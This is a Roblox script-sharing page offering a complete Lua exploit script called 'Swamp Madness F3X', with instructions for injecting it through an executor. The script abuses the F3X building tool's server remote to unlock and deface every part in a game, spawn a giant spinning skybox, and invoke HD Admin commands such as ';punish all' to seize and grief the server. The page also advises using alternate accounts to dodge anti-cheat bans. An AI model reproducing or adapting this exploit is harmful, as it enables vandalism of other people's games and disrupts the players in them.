Universal Script – Swamp Madness F3X - Verified script for Universal Roblox
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Universal Script – Swamp Madness F3X

Universal Script1x6xjxG1x6xjxG 1.6K views 2K executesUpdated Oct 11, 2026
Unrated
00
Lua Script•247 lines (4553 chars)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool

local function RunHDCommand(cmd)
	local success, RequestCommand = pcall(function()
		return ReplicatedStorage:WaitForChild("HDAdminHDClient", 2).Signals.RequestCommandSilent
	end)
	
	if success and RequestCommand then
		RequestCommand:InvokeServer(cmd)
	else
		local chatEvents = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
		if chatEvents and chatEvents:FindFirstChild("SayMessageRequest") then
			chatEvents.SayMessageRequest:FireServer(cmd, "All")
		end
	end
end

RunHDCommand(";sm Shrek now controls the server")

for i,v in player:GetDescendants() do
	if v.Name == "SyncAPI" then
		tool = v.Parent
	end
end

for i,v in ReplicatedStorage:GetDescendants() do
	if v.Name == "SyncAPI" then
		tool = v.Parent
	end
end

remote = tool.SyncAPI.ServerEndpoint
function _(args)
	remote:InvokeServer(unpack(args))
end

function SetAnchor(boolean,part)
	local args = {
		[1] = "SyncAnchor",
		[2] = {
			[1] = {
				["Part"] = part,
				["Anchored"] = boolean
			}
		}
	}
	_(args)
end

function CreatePart(cf,parent)
	local args = {
		[1] = "CreatePart",
		[2] = "Normal",
		[3] = cf,
		[4] = parent
	}
	_(args)
end

function MovePart(part,cf)
	local args = {
		[1] = "SyncMove",
		[2] = {
			[1] = {
				["Part"] = part,
				["CFrame"] = cf
			}
		}
	}
	_(args)
end

function AddMesh(part)
	local args = {
		[1] = "CreateMeshes",
		[2] = {
			[1] = {
				["Part"] = part
			}
		}
	}
	_(args)
end

function SetMesh(part,meshid)
	local args = {
		[1] = "SyncMesh",
		[2] = {
			[1] = {
				["Part"] = part,
				["MeshId"] = "rbxassetid://"..meshid
			}
		}
	}
	_(args)
end

function SetTexture(part, texid)
	local args = {
		[1] = "SyncMesh",
		[2] = {
			[1] = {
				["Part"] = part,
				["TextureId"] = "rbxassetid://"..texid
			}
		}
	}
	_(args)
end

function SetName(part, stringg)
	local args = {
		[1] = "SetName",
		[2] = {
			[1] = part
		},
		[3] = stringg
	}
	_(args)
end

function MeshResize(part,size)
	local args = {
		[1] = "SyncMesh",
		[2] = {
			[1] = {
				["Part"] = part,
				["Scale"] = size
			}
		}
	}
	_(args)
end

function SetLocked(part,boolean)
	local args = {
		[1] = "SetLocked",
		[2] = {
			[1] = part
		},
		[3] = boolean
	}
	_(args)
end

function SpawnDecal(part,side)
	local args = {
		[1] = "CreateTextures",
		[2] = {
			[1] = {
				["Part"] = part,
				["Face"] = side,
				["TextureType"] = "Decal"
			}
		}
	}
	_(args)
end

function AddDecal(part,asset,side)
	local args = {
		[1] = "SyncTexture",
		[2] = {
			[1] = {
				["Part"] = part,
				["Face"] = side,
				["TextureType"] = "Decal",
				["Texture"] = "rbxassetid://".. asset
			}
		}
	}
	_(args)
end

function spam(id)
	for i,v in game.workspace:GetDescendants() do
		if v:IsA("BasePart") then
			spawn(function()
				SetLocked(v,false)
				SpawnDecal(v,Enum.NormalId.Front)
				AddDecal(v,id,Enum.NormalId.Front)

				SpawnDecal(v,Enum.NormalId.Back)
				AddDecal(v,id,Enum.NormalId.Back)

				SpawnDecal(v,Enum.NormalId.Right)
				AddDecal(v,id,Enum.NormalId.Right)

				SpawnDecal(v,Enum.NormalId.Left)
				AddDecal(v,id,Enum.NormalId.Left)

				SpawnDecal(v,Enum.NormalId.Bottom)
				AddDecal(v,id,Enum.NormalId.Bottom)

				SpawnDecal(v,Enum.NormalId.Top)
				AddDecal(v,id,Enum.NormalId.Top)
			end)
		end
	end 
end

function Sky(id)
	local root = char:WaitForChild("HumanoidRootPart")
	local spawnPos = root.CFrame + Vector3.new(0, 6, 0)
	CreatePart(spawnPos, workspace)
	task.wait(0.2)
	local skyPart
	for _, v in workspace:GetChildren() do
		if v:IsA("BasePart") and (v.Position - spawnPos.Position).magnitude < 5 then
			skyPart = v
			break
		end
	end
	if skyPart then
		SetName(skyPart, "PersistentSmoothCrazySkybox")
		AddMesh(skyPart)
		SetMesh(skyPart, "111891702759441")
		SetTexture(skyPart, id)
		MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
		SetLocked(skyPart, true)
		SetAnchor(true, skyPart)
		
		local rx, ry, rz = 0, 0, 0
		RunService.RenderStepped:Connect(function(dt)
			if skyPart and skyPart.Parent then
				rx = rx + (1.2 * dt)
				ry = ry + (1.8 * dt)
				rz = rz + (1.0 * dt)
				
				local smoothCF = CFrame.new(spawnPos.Position) * CFrame.Angles(rx, ry, rz)
				MovePart(skyPart, smoothCF)
			end
		end)
	end
end

task.wait(1)

RunHDCommand(";music 128802844460270 ;volume inf ;pitch 0.2")
RunHDCommand(";punish all")
RunHDCommand(";time 0")
spam("9180614261")
Sky("9180614261")

How to Execute Universal Script – Swamp Madness F3X

Step 1: Copy Code: Click the Copy Code button in the viewer above to grab the clean Lua loadstring.

Step 2: Launch Executor: Open a compatible, unpatched executor. If you need one, check our Roblox Executors Directory.

Step 3: Join Experience: Launch Roblox and join Universal Script.

Step 4: Attach & Run: Attach/inject your executor into the Roblox process, paste the code into the script tab, and press Execute.

Created By

1x6xjxG
1x6xjxG
Script User
View Author Profile

Features & Information

Execute Universal Script – Swamp Madness F3X. Key system required, created by 1x6xjxG, updated Oct 11, 2026. Tested and working on supported executors.

Script Changelog (1)

@1x6xjxGOct 11, 2026

Script f3x leak by DarkRed2Spooky

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Frequently Asked Questions

How do I execute Universal Script – Swamp Madness F3X in Roblox?

To run Universal Script – Swamp Madness F3X, copy the Lua loadstring from the code viewer above, launch Roblox and join Universal Script, attach a working executor (such as Potassium, Solara, or Delta from our Executors directory), paste the code into your executor console, and click Execute.

Is Universal Script – Swamp Madness F3X keyless or does it require an access key?

Universal Script – Swamp Madness F3X requires an access key. You can retrieve the official key directly using the Get Script Key link provided above.

Is Universal Script – Swamp Madness F3X currently safe and working?

This script is active and operational. Always test scripts using a secondary (alt) Roblox account to safeguard your main profile against anti-cheat bans.